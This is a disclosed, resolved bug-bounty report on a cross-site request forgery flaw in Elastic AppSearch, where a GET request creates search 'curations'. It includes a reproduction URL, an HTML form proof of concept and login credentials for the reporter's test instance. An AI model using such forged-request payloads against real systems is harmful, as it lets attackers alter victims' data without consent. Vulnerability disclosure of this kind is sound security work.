Loading HuntDB...

CSRF in AppSearch allows creation of "curations"

Medium
E
Elastic
Submitted None
Reported by dee-see

Vulnerability Details

Technical details and impact analysis

Cross-Site Request Forgery (CSRF)
## Summary Hello team! The curations creation for AppSearch engines can happen on a GET request which means there's no CSRF protection. ## Steps to reproduce 1. In one tab visit this page on my Elastic Cloud instance: https://h1repro.kb.eu-west-1.aws.found.io:9243/app/enterprise_search/app_search/engines/national-parks-demo/curations (choose "Login with Elasticsearch", username `h1repro` / password `&Xb|MzZeB@<\`) 1. For a simple demonstration, in another tab you can simply visit `https://h1repro.kb.eu-west-1.aws.found.io:9243/internal/app_search/engines/national-parks-demo/curations/find_or_create?query=QUERY_YOU_WANT_TO_CREATE_HERE` If you want a "real" CSRF PoC you can simply host an HTML file with the following content. Obviously a real attack wouldn't let you choose your payload and submit and this would be done automatically :) ```html <html> <head></head> <body> <form action="https://h1repro.kb.eu-west-1.aws.found.io:9243/internal/app_search/engines/national-parks-demo/curations/find_or_create" method="get"> <label for="query">Enter the curation you want to create: </label> <input type="text" name="query" id="query" required> <input type="submit"> </form> </body> </html> ``` ## Impact Creation of undesired "curations". Annoying attacks would either create a large quantity of them or it would create queries with foul language.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Cross-Site Request Forgery (CSRF)